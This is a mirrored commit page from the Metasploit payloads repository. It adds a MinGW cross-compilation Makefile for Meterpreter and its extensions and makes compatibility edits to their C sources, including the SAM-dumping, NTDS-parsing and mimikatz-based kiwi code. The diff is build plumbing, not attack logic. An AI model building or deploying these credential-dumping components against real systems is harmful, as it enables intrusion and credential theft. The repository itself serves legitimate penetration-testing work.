1
mirror of https://github.com/rapid7/metasploit-payloads synced 2024-11-20 14:39:22 +01:00

Land #405, Cross-compile Windows binaries on Linux

This commit is contained in:
Spencer McIntyre 2020-06-29 10:02:16 -04:00
commit c04196cab5
No known key found for this signature in database
GPG Key ID: 58101BA0D0D9C987
86 changed files with 10900 additions and 773 deletions

383
c/meterpreter/Makefile Normal file
View File

@ -0,0 +1,383 @@
ID := $(shell id -u)
DOCKER_CONTAINER=win-meterpreter-build
COMMON_GEN=-Wno-dev -DUSE_STATIC_MSVC_RUNTIMES=ON
COMMON_GEN_X86=-DCMAKE_TOOLCHAIN_FILE=../toolsets/i686-w64-mingw32.cmake -DBUILD_ARCH=Win32 ${COMMON_GEN}
COMMON_GEN_X64=-DCMAKE_TOOLCHAIN_FILE=../toolsets/x86_64-w64-mingw32.cmake -DBUILD_ARCH=x64 ${COMMON_GEN}
COMMON_BUILD=--config Release
all: meterpreter
clean: meterpreter-x64-clean meterpreter-x86-clean
install:
@cp output/*.dll ../../../metasploit-framework/data/meterpreter
##########################################################################################
### Build all
##########################################################################################
meterpreter: meterpreter-x86 meterpreter-x64
meterpreter-x86: meterpreter-x86-gen meterpreter-x86-build
meterpreter-x86-gen:
@cmake -S workspace -B workspace/build/mingw-x86 $(COMMON_GEN_X86)
meterpreter-x86-build:
@cmake --build workspace/build/mingw-x86 $(COMMON_BUILD)
meterpreter-x86-clean:
@rm -rf workspace/build/mingw-x86* && rm -rf output/*.x86.dll
meterpreter-x64: meterpreter-x64-gen meterpreter-x64-build
meterpreter-x64-gen:
@cmake -S workspace -B workspace/build/mingw-x64 $(COMMON_GEN_X64)
meterpreter-x64-build:
@cmake --build workspace/build/mingw-x64 $(COMMON_BUILD)
meterpreter-x64-clean:
@rm -rf workspace/build/mingw-x64* && rm -rf output/*.x64.dll
##########################################################################################
### Component Builds
##########################################################################################
### Metsrv
meterpreter-metsrv: meterpreter-metsrv-x86 meterpreter-metsrv-x64
meterpreter-metsrv-x86: meterpreter-metsrv-x86-gen meterpreter-metsrv-x86-build
meterpreter-metsrv-x86-gen:
@cmake -S workspace -B workspace/build/mingw-x86-metsrv -DBUILD_ALL=OFF -DBUILD_METSRV=ON $(COMMON_GEN_X86)
meterpreter-metsrv-x86-build:
@cmake --build workspace/build/mingw-x86-metsrv $(COMMON_BUILD)
meterpreter-metsrv-x64: meterpreter-metsrv-x64-gen meterpreter-metsrv-x64-build
meterpreter-metsrv-x64-gen:
@cmake -S workspace -B workspace/build/mingw-x64-metsrv -DBUILD_ALL=OFF -DBUILD_METSRV=ON $(COMMON_GEN_X64)
meterpreter-metsrv-x64-build:
@cmake --build workspace/build/mingw-x64-metsrv $(COMMON_BUILD)
### Stdapi
meterpreter-ext-stdapi: meterpreter-ext-stdapi-x86 meterpreter-ext-stdapi-x64
meterpreter-ext-stdapi-x86: meterpreter-ext-stdapi-x86-gen meterpreter-ext-stdapi-x86-build
meterpreter-ext-stdapi-x86-gen:
@cmake -S workspace -B workspace/build/mingw-x86-ext-stdapi -DBUILD_ALL=OFF -DBUILD_EXT_STDAPI=ON $(COMMON_GEN_X86)
meterpreter-ext-stdapi-x86-build:
@cmake --build workspace/build/mingw-x86-ext-stdapi $(COMMON_BUILD)
meterpreter-ext-stdapi-x64: meterpreter-ext-stdapi-x64-gen meterpreter-ext-stdapi-x64-build
meterpreter-ext-stdapi-x64-gen:
@cmake -S workspace -B workspace/build/mingw-x64-ext-stdapi -DBUILD_ALL=OFF -DBUILD_EXT_STDAPI=ON $(COMMON_GEN_X64)
meterpreter-ext-stdapi-x64-build:
@cmake --build workspace/build/mingw-x64-ext-stdapi $(COMMON_BUILD)
### Priv
meterpreter-ext-priv: meterpreter-ext-priv-x86 meterpreter-ext-priv-x64
meterpreter-ext-priv-x86: meterpreter-ext-priv-x86-gen meterpreter-ext-priv-x86-build
meterpreter-ext-priv-x86-gen:
@cmake -S workspace -B workspace/build/mingw-x86-ext-priv -DBUILD_ALL=OFF -DBUILD_EXT_PRIV=ON $(COMMON_GEN_X86)
meterpreter-ext-priv-x86-build:
@cmake --build workspace/build/mingw-x86-ext-priv $(COMMON_BUILD)
meterpreter-ext-priv-x64: meterpreter-ext-priv-x64-gen meterpreter-ext-priv-x64-build
meterpreter-ext-priv-x64-gen:
@cmake -S workspace -B workspace/build/mingw-x64-ext-priv -DBUILD_ALL=OFF -DBUILD_EXT_PRIV=ON $(COMMON_GEN_X64)
meterpreter-ext-priv-x64-build:
@cmake --build workspace/build/mingw-x64-ext-priv $(COMMON_BUILD)
### Extapi
meterpreter-ext-extapi: meterpreter-ext-extapi-x86 meterpreter-ext-extapi-x64
meterpreter-ext-extapi-x86: meterpreter-ext-extapi-x86-gen meterpreter-ext-extapi-x86-build
meterpreter-ext-extapi-x86-gen:
@cmake -S workspace -B workspace/build/mingw-x86-ext-extapi -DBUILD_ALL=OFF -DBUILD_EXT_EXTAPI=ON $(COMMON_GEN_X86)
meterpreter-ext-extapi-x86-build:
@cmake --build workspace/build/mingw-x86-ext-extapi $(COMMON_BUILD)
meterpreter-ext-extapi-x64: meterpreter-ext-extapi-x64-gen meterpreter-ext-extapi-x64-build
meterpreter-ext-extapi-x64-gen:
@cmake -S workspace -B workspace/build/mingw-x64-ext-extapi -DBUILD_ALL=OFF -DBUILD_EXT_EXTAPI=ON $(COMMON_GEN_X64)
meterpreter-ext-extapi-x64-build:
@cmake --build workspace/build/mingw-x64-ext-extapi $(COMMON_BUILD)
### Incognito
meterpreter-ext-incognito: meterpreter-ext-incognito-x86 meterpreter-ext-incognito-x64
meterpreter-ext-incognito-x86: meterpreter-ext-incognito-x86-gen meterpreter-ext-incognito-x86-build
meterpreter-ext-incognito-x86-gen:
@cmake -S workspace -B workspace/build/mingw-x86-ext-incognito -DBUILD_ALL=OFF -DBUILD_EXT_INCOGNITO=ON $(COMMON_GEN_X86)
meterpreter-ext-incognito-x86-build:
@cmake --build workspace/build/mingw-x86-ext-incognito $(COMMON_BUILD)
meterpreter-ext-incognito-x64: meterpreter-ext-incognito-x64-gen meterpreter-ext-incognito-x64-build
meterpreter-ext-incognito-x64-gen:
@cmake -S workspace -B workspace/build/mingw-x64-ext-incognito -DBUILD_ALL=OFF -DBUILD_EXT_INCOGNITO=ON $(COMMON_GEN_X64)
meterpreter-ext-incognito-x64-build:
@cmake --build workspace/build/mingw-x64-ext-incognito $(COMMON_BUILD)
### LanAttacks
meterpreter-ext-lanattacks: meterpreter-ext-lanattacks-x86 meterpreter-ext-lanattacks-x64
meterpreter-ext-lanattacks-x86: meterpreter-ext-lanattacks-x86-gen meterpreter-ext-lanattacks-x86-build
meterpreter-ext-lanattacks-x86-gen:
@cmake -S workspace -B workspace/build/mingw-x86-ext-lanattacks -DBUILD_ALL=OFF -DBUILD_EXT_LANATTACKS=ON $(COMMON_GEN_X86)
meterpreter-ext-lanattacks-x86-build:
@cmake --build workspace/build/mingw-x86-ext-lanattacks $(COMMON_BUILD)
meterpreter-ext-lanattacks-x64: meterpreter-ext-lanattacks-x64-gen meterpreter-ext-lanattacks-x64-build
meterpreter-ext-lanattacks-x64-gen:
@cmake -S workspace -B workspace/build/mingw-x64-ext-lanattacks -DBUILD_ALL=OFF -DBUILD_EXT_LANATTACKS=ON $(COMMON_GEN_X64)
meterpreter-ext-lanattacks-x64-build:
@cmake --build workspace/build/mingw-x64-ext-lanattacks $(COMMON_BUILD)
### WinPMem
meterpreter-ext-winpmem: meterpreter-ext-winpmem-x86 meterpreter-ext-winpmem-x64
meterpreter-ext-winpmem-x86: meterpreter-ext-winpmem-x86-gen meterpreter-ext-winpmem-x86-build
meterpreter-ext-winpmem-x86-gen:
@cmake -S workspace -B workspace/build/mingw-x86-ext-winpmem -DBUILD_ALL=OFF -DBUILD_EXT_WINPMEM=ON $(COMMON_GEN_X86)
meterpreter-ext-winpmem-x86-build:
@cmake --build workspace/build/mingw-x86-ext-winpmem $(COMMON_BUILD)
meterpreter-ext-winpmem-x64: meterpreter-ext-winpmem-x64-gen meterpreter-ext-winpmem-x64-build
meterpreter-ext-winpmem-x64-gen:
@cmake -S workspace -B workspace/build/mingw-x64-ext-winpmem -DBUILD_ALL=OFF -DBUILD_EXT_WINPMEM=ON $(COMMON_GEN_X64)
meterpreter-ext-winpmem-x64-build:
@cmake --build workspace/build/mingw-x64-ext-winpmem $(COMMON_BUILD)
### Espia
meterpreter-ext-espia: meterpreter-ext-espia-x86 meterpreter-ext-espia-x64
meterpreter-ext-espia-x86: meterpreter-ext-espia-x86-gen meterpreter-ext-espia-x86-build
meterpreter-ext-espia-x86-gen:
@cmake -S workspace -B workspace/build/mingw-x86-ext-espia -DBUILD_ALL=OFF -DBUILD_EXT_ESPIA=ON $(COMMON_GEN_X86)
meterpreter-ext-espia-x86-build:
@cmake --build workspace/build/mingw-x86-ext-espia $(COMMON_BUILD)
meterpreter-ext-espia-x64: meterpreter-ext-espia-x64-gen meterpreter-ext-espia-x64-build
meterpreter-ext-espia-x64-gen:
@cmake -S workspace -B workspace/build/mingw-x64-ext-espia -DBUILD_ALL=OFF -DBUILD_EXT_ESPIA=ON $(COMMON_GEN_X64)
meterpreter-ext-espia-x64-build:
@cmake --build workspace/build/mingw-x64-ext-espia $(COMMON_BUILD)
### Unhook
meterpreter-ext-unhook: meterpreter-ext-unhook-x86 meterpreter-ext-unhook-x64
meterpreter-ext-unhook-x86: meterpreter-ext-unhook-x86-gen meterpreter-ext-unhook-x86-build
meterpreter-ext-unhook-x86-gen:
@cmake -S workspace -B workspace/build/mingw-x86-ext-unhook -DBUILD_ALL=OFF -DBUILD_EXT_UNHOOK=ON $(COMMON_GEN_X86)
meterpreter-ext-unhook-x86-build:
@cmake --build workspace/build/mingw-x86-ext-unhook $(COMMON_BUILD)
meterpreter-ext-unhook-x64: meterpreter-ext-unhook-x64-gen meterpreter-ext-unhook-x64-build
meterpreter-ext-unhook-x64-gen:
@cmake -S workspace -B workspace/build/mingw-x64-ext-unhook -DBUILD_ALL=OFF -DBUILD_EXT_UNHOOK=ON $(COMMON_GEN_X64)
meterpreter-ext-unhook-x64-build:
@cmake --build workspace/build/mingw-x64-ext-unhook $(COMMON_BUILD)
### Kiwi
meterpreter-ext-kiwi: meterpreter-ext-kiwi-x86 meterpreter-ext-kiwi-x64
meterpreter-ext-kiwi-x86: meterpreter-ext-kiwi-x86-gen meterpreter-ext-kiwi-x86-build
meterpreter-ext-kiwi-x86-gen:
@cmake -S workspace -B workspace/build/mingw-x86-ext-kiwi -DBUILD_ALL=OFF -DBUILD_EXT_KIWI=ON $(COMMON_GEN_X86)
meterpreter-ext-kiwi-x86-build:
@cmake --build workspace/build/mingw-x86-ext-kiwi $(COMMON_BUILD)
meterpreter-ext-kiwi-x64: meterpreter-ext-kiwi-x64-gen meterpreter-ext-kiwi-x64-build
meterpreter-ext-kiwi-x64-gen:
@cmake -S workspace -B workspace/build/mingw-x64-ext-kiwi -DBUILD_ALL=OFF -DBUILD_EXT_KIWI=ON $(COMMON_GEN_X64)
meterpreter-ext-kiwi-x64-build:
@cmake --build workspace/build/mingw-x64-ext-kiwi $(COMMON_BUILD)
### PeInjector
meterpreter-ext-peinjector: meterpreter-ext-peinjector-x86 meterpreter-ext-peinjector-x64
meterpreter-ext-peinjector-x86: meterpreter-ext-peinjector-x86-gen meterpreter-ext-peinjector-x86-build
meterpreter-ext-peinjector-x86-gen:
@cmake -S workspace -B workspace/build/mingw-x86-ext-peinjector -DBUILD_ALL=OFF -DBUILD_EXT_PEINJECTOR=ON $(COMMON_GEN_X86)
meterpreter-ext-peinjector-x86-build:
@cmake --build workspace/build/mingw-x86-ext-peinjector $(COMMON_BUILD)
meterpreter-ext-peinjector-x64: meterpreter-ext-peinjector-x64-gen meterpreter-ext-peinjector-x64-build
meterpreter-ext-peinjector-x64-gen:
@cmake -S workspace -B workspace/build/mingw-x64-ext-peinjector -DBUILD_ALL=OFF -DBUILD_EXT_PEINJECTOR=ON $(COMMON_GEN_X64)
meterpreter-ext-peinjector-x64-build:
@cmake --build workspace/build/mingw-x64-ext-peinjector $(COMMON_BUILD)
##########################################################################################
### Container-based Builds
##########################################################################################
docker:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make
docker-container:
@docker build ../../docker -t $(DOCKER_CONTAINER)
docker-shell:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) bash
docker-x64:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-x64
docker-x86:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-x86
docker-metsrv:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-metsrv
docker-metsrv-x86:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-metsrv-x86
docker-metsrv-x64:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-metsrv-x64
docker-ext-stdapi:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi
docker-ext-stdapi-x86:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-x86
docker-ext-stdapi-x64:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-x64
docker-ext-priv:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-priv
docker-ext-priv-x86:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-priv-x86
docker-ext-priv-x64:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-priv-x64
docker-ext-extapi:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-extapi
docker-ext-extapi-x86:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-extapi-x86
docker-ext-extapi-x64:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-extapi-x64
docker-ext-incognito:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-incognito
docker-ext-incognito-x86:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-incognito-x86
docker-ext-incognito-x64:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-incognito-x64
docker-ext-espia:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-espia
docker-ext-espia-x86:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-espia-x86
docker-ext-espia-x64:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-espia-x64
docker-ext-lanattacks:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-lanattacks
docker-ext-lanattacks-x86:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-lanattacks-x86
docker-ext-lanattacks-x64:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-lanattacks-x64
docker-ext-unhook:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-unhook
docker-ext-unhook-x86:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-unhook-x86
docker-ext-unhook-x64:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-unhook-x64
docker-ext-winpmem:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-winpmem
docker-ext-winpmem-x86:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-winpmem-x86
docker-ext-winpmem-x64:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-winpmem-x64
docker-ext-kiwi:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-kiwi
docker-ext-kiwi-x86:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-kiwi-x86
docker-ext-kiwi-x64:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-kiwi-x64
docker-ext-peinjector:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-peinjector
docker-ext-peinjector-x86:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-peinjector-x86
docker-ext-peinjector-x64:
@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) make meterpreter-ext-peinjector-x64

View File

@ -110,6 +110,7 @@ GOTO END
:CLEAN
IF EXIST "output\" (
del output\ /S /Q
del workspace\build\ /S /Q
)
GOTO END

@ -1 +1 @@
Subproject commit 166b946fbe4346d69ae7f10de5cc110b98c36cee
Subproject commit 49dfcb65d60bfb859a7dffac2334bf19ceaa085b

View File

@ -29,6 +29,22 @@
#define dwMeterpreterArch PROCESS_ARCH_X86
#endif
#ifdef __MINGW32__
#define ERROR_DBG_TERMINATE_THREAD 691L
#define ERROR_UNHANDLED_EXCEPTION 574L
#define ERROR_UNSUPPORTED_COMPRESSION 618L
#define ERROR_NOT_CAPABLE 775L
#define ERROR_NOTHING_TO_TERMINATE 778L
#define __try
#define __except(x) if(0)
#undef GetExceptionCode
#define GetExceptionCode() 0
#undef GetExceptionInformation
#define GetExceptionInformation() NULL
#endif
typedef struct __UNICODE_STRING
{
USHORT Length;

View File

@ -29,15 +29,15 @@ typedef UINT_PTR(*PTransportGetHandle)(Transport* transport);
typedef DWORD(*PTransportGetConfigSize)(Transport* transport);
typedef void(*PTransportSetHandle)(Transport* transport, UINT_PTR handle);
typedef void(*PTransportReset)(Transport* transport, BOOL shuttingDown);
typedef BOOL(*PTransportInit)(Transport* transport);
typedef BOOL(*PTransportDeinit)(Transport* transport);
typedef DWORD(*PTransportInit)(Transport* transport);
typedef DWORD(*PTransportDeinit)(Transport* transport);
typedef void(*PTransportDestroy)(Transport* transport);
typedef DWORD(*PTransportGetMigrateContext)(Transport* transport, DWORD targetProcessId, HANDLE targetProcessHandle, LPDWORD contextSize, LPBYTE* contextBuffer);
typedef Transport*(*PTransportCreate)(Remote* remote, MetsrvTransportCommon* config, LPDWORD size);
typedef void(*PTransportRemove)(Remote* remote, Transport* oldTransport);
typedef void(*PConfigCreate)(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LPDWORD size);
typedef BOOL(*PServerDispatch)(Remote* remote, THREAD* dispatchThread);
typedef DWORD(*PServerDispatch)(Remote* remote, THREAD* dispatchThread);
typedef DWORD(*PPacketTransmit)(Remote* remote, LPBYTE rawPacket, DWORD rawPacketLength);
typedef HANDLE(*PCreateHttpRequest)(HttpTransportContext* ctx, BOOL isGet, const char* direction);

View File

@ -13,7 +13,8 @@ typedef struct _EVENT
#define THREADCALL __stdcall
typedef DWORD (THREADCALL * THREADFUNK)(struct _THREAD * thread);
typedef struct _THREAD THREAD, *LPTHREAD;
typedef DWORD (THREADCALL * THREADFUNK)(LPTHREAD thread);
struct _THREAD
{
@ -26,6 +27,5 @@ struct _THREAD
LPVOID parameter3;
};
typedef struct _THREAD THREAD, * LPTHREAD;
#endif

View File

@ -1,3 +1,3 @@
NAME server.dll
EXPORTS
ReflectiveLoader @1 NONAME PRIVATE
ReflectiveLoader @1 NONAME PRIVATE

View File

@ -6,21 +6,19 @@
extern "C" {
#include "extapi.h"
#include "common_metapi.h"
#include <Iads.h>
#include <Adshlp.h>
#include <AdsErr.h>
#include <iads.h>
#include <adshlp.h>
#include <adserr.h>
#include "adsi_interface.h"
}
#pragma comment(lib, "Activeds.lib")
#define VALUE_SIZE 1024
#define PATH_SIZE 256
typedef BOOL (WINAPI *PCONVERTSIDTOSTRINGSID)(PSID pSid, LPSTR* pStr);
/*! @brief The GUID of the Directory Search COM object. */
static const IID IID_IDirectorySearch = { 0x109BA8EC, 0x92F0, 0x11D0, { 0xA7, 0x90, 0x00, 0xC0, 0x4F, 0xD8, 0xD5, 0xA8 } };
extern const IID IID_IDirectorySearch = { 0x109BA8EC, 0x92F0, 0x11D0, { 0xA7, 0x90, 0x00, 0xC0, 0x4F, 0xD8, 0xD5, 0xA8 } };
static PCONVERTSIDTOSTRINGSID pConvertSidToStringSid = NULL;
static HMODULE hAdvapi32 = NULL;

View File

@ -10,7 +10,11 @@ extern "C" {
#include "extapi.h"
#include "clipboard_image.h"
}
#include <GdiPlus.h>
#include <gdiplus.h>
#ifndef max
#define max(x,y) ((x)>(y)?(x):(y))
#endif
/*!
* @brief Get the Class ID of an encoder which supports encoding to the specified MIME type.
@ -214,4 +218,4 @@ DWORD convert_to_jpg(const LPBITMAPINFO lpBI, const LPVOID lpDIB, ULONG ulQualit
return dwResult;
}
}
}

View File

@ -7,6 +7,8 @@
#include "../../common/common.h"
#define JET_VERSION 0x0600
#define TLV_TYPE_EXTENSION_EXTAPI 0
#define TLV_TYPE_EXT_WINDOW_ENUM_GROUP MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 1)

View File

@ -5,10 +5,8 @@
#include "extapi.h"
#include "common_metapi.h"
#define JET_VERSION 0x0501
#include <inttypes.h>
#include <WinCrypt.h>
#include <wincrypt.h>
#include "syskey.h"
#include "ntds_decrypt.h"
#include "ntds_jet.h"

View File

@ -4,10 +4,8 @@
*/
#include "extapi.h"
#define JET_VERSION 0x0501
#include <inttypes.h>
#include <WinCrypt.h>
#include <wincrypt.h>
#include "syskey.h"
#include "ntds_decrypt.h"
#include "ntds_jet.h"

View File

@ -5,15 +5,34 @@
#include "extapi.h"
#include "common_metapi.h"
#define JET_VERSION 0x0501
#include <inttypes.h>
#include <WinCrypt.h>
#include <wincrypt.h>
#include "syskey.h"
#include "ntds_decrypt.h"
#include "ntds_jet.h"
#include "ntds.h"
#ifdef __MINGW32__
typedef JET_ERR (JET_API*PJetGetTableColumnInfo)(JET_SESID sesid, JET_TABLEID tableid, const char* szColumnName, void* pvResult, unsigned long cbMax, unsigned long InfoLevel);
#endif
JET_ERR JET_API InternalJetGetTableColumnInfo(JET_SESID sesid, JET_TABLEID tableid, const char* szColumnName, void* pvResult, unsigned long cbMax, unsigned long InfoLevel)
{
#ifdef __MINGW32__
// This function does exist in the x64 version of mingw's compiler.
// Doesn't live in the x86 version, and I have no idea why. So add
// a dynamic invocation to cover for it at runtime.
static PJetGetTableColumnInfo pFunc = NULL;
if (pFunc == NULL)
{
pFunc = (PJetGetTableColumnInfo)GetProcAddress(LoadLibraryA("esent.dll"), "JetGetTableColumnInfo");
}
return pFunc(sesid, tableid, szColumnName, pvResult, cbMax, InfoLevel);
#else
return JetGetTableColumnInfo(sesid, tableid, szColumnName, pvResult, cbMax, InfoLevel);
#endif
}
/*!
* @brief Shuts down the Jet Instance and frees the jetState struct.
* @param ntdsState Pointer to a jetsState struct which contains all the state data for the Jet Instance.
@ -128,7 +147,7 @@ JET_ERR get_column_info(struct jetState *ntdsState, struct ntdsColumns *accountC
};
int countColumns = sizeof(columns) / sizeof(columns[0]);
for (int i = 0; i < countColumns; i++) {
columnError = JetGetTableColumnInfo(ntdsState->jetSession, ntdsState->jetTable, columns[i].name, columns[i].column, sizeof(JET_COLUMNDEF), JET_ColInfo);
columnError = InternalJetGetTableColumnInfo(ntdsState->jetSession, ntdsState->jetTable, columns[i].name, columns[i].column, sizeof(JET_COLUMNDEF), JET_ColInfo);
if (columnError != JET_errSuccess) {
return columnError;
}

View File

@ -6,7 +6,7 @@
#include "service.h"
#include "common_metapi.h"
#include <Sddl.h>
#include <sddl.h>
/*! @brief The possible list of operations to perform on a service */
typedef enum _ServiceOperation

View File

@ -4,10 +4,8 @@
*/
#include "extapi.h"
#define JET_VERSION 0x0501
#include <inttypes.h>
#include <WinCrypt.h>
#include <wincrypt.h>
#include "syskey.h"
#include "ntds_decrypt.h"
#include "ntds_jet.h"

View File

@ -9,13 +9,10 @@ extern "C" {
#include <inttypes.h>
#include "wmi_interface.h"
}
#include <WbemCli.h>
#include <wbemcli.h>
#include <comutil.h>
#include <comdef.h>
#pragma comment(lib, "wbemuuid.lib")
#pragma comment(lib, "comsuppw.lib")
#define FIELD_SIZE 1024
#define ENUM_TIMEOUT 5000
@ -27,6 +24,76 @@ extern "C" {
#define SYSTEM_FIELD_COUNT 8
#endif
#ifdef __MINGW32__
// Provide custom implmentations of the BSTR conversion
// functions because comsuppw.lib is a proprietary lib
// that comes with Vis Studio
namespace _com_util
{
inline BSTR ConvertStringToBSTR(const char* pSrc)
{
if(!pSrc)
{
return NULL;
}
DWORD cwch;
BSTR wsOut(NULL);
if(cwch = ::MultiByteToWideChar(CP_ACP, 0, pSrc, -1, NULL, 0))
{
cwch--;
wsOut = ::SysAllocStringLen(NULL, cwch);
if(wsOut)
{
if(!::MultiByteToWideChar(CP_ACP, 0, pSrc, -1, wsOut, cwch))
{
if(ERROR_INSUFFICIENT_BUFFER == ::GetLastError())
{
return wsOut;
}
::SysFreeString(wsOut);//must clean up
wsOut = NULL;
}
}
}
return wsOut;
}
inline char* ConvertBSTRToString(BSTR pSrc)
{
if(!pSrc)
{
return NULL;
}
//convert even embeded NULL
DWORD cb,cwch = ::SysStringLen(pSrc);
char *szOut = NULL;
if(cb = ::WideCharToMultiByte(CP_ACP, 0, pSrc, cwch + 1, NULL, 0, 0, 0))
{
szOut = new char[cb];
if(szOut)
{
szOut[cb - 1] = '\0';
if(!::WideCharToMultiByte(CP_ACP, 0, pSrc, cwch + 1, szOut, cb, 0, 0))
{
delete []szOut;//clean up if failed;
szOut = NULL;
}
}
}
return szOut;
}
}
#endif
/*!
* @brief Convert a variant type to a string and write it to the given buffer.
* @param v The variant to convert.
@ -39,7 +106,7 @@ extern "C" {
* array depth has been attempted, but no tests have yet found a nested array in the
* result set. There's probably bugs in that bit.
*/
char* variant_to_string(_variant_t& v, char* buffer, DWORD bufferSize)
char* variant_to_string(const _variant_t& v, char* buffer, DWORD bufferSize)
{
dprintf("[WMI] preparing to parse variant of type %u (%x), buffer size %u", v.vt, v.vt, bufferSize);

View File

@ -47,6 +47,7 @@ DWORD request_exec_cmd(Remote *remote, Packet *packet)
// While this implies that powershell is in use, this is just a naming thing,
// it's not actually using powershell.
wchar_t* output = powershell_reflective_mimikatz(cmd);
dprintf("[KIWI] Executed command: %S", cmd);
if (output != NULL)
{
met_api->packet.add_tlv_wstring(response, TLV_TYPE_KIWI_CMD_RESULT, output);
@ -55,7 +56,7 @@ DWORD request_exec_cmd(Remote *remote, Packet *packet)
{
result = ERROR_OUTOFMEMORY;
}
free(cmd);
//LocalFree(cmd);
}
else
{

@ -1 +1 @@
Subproject commit bc5d9947f58838a3d3446d1c8d42031c1d386ee1
Subproject commit 23fba4e7397b4b03a43f0827b264a64f13f3dcdd

View File

@ -87,4 +87,3 @@ DWORD StagelessInit(UINT extensionId, const LPBYTE buffer, DWORD bufferSize)
VOID CommandAdded(UINT commandId)
{
}

View File

@ -398,7 +398,8 @@ DWORD dump_sam(FUNCTIONARGS *fargs)
dwError = 1;
goto cleanup;
}
if (pLsaQueryInformationPolicy(hLSA, PolicyAccountDomainInformation, &pAcctDomainInfo) < 0)
if (pLsaQueryInformationPolicy(hLSA, PolicyAccountDomainInformation, (LPVOID*)&pAcctDomainInfo) < 0)
{
dwError = 1;
goto cleanup;
@ -566,7 +567,7 @@ cleanup:
#ifdef _WIN64
#define sizer setup_dump_sam_arguments
#else
void sizer() { __asm { ret } }
void sizer() {}
#endif
/*!

View File

@ -50,6 +50,7 @@ DWORD request_fs_ls(Remote * remote, Packet * packet)
*/
DWORD request_fs_getwd(Remote * remote, Packet * packet)
{
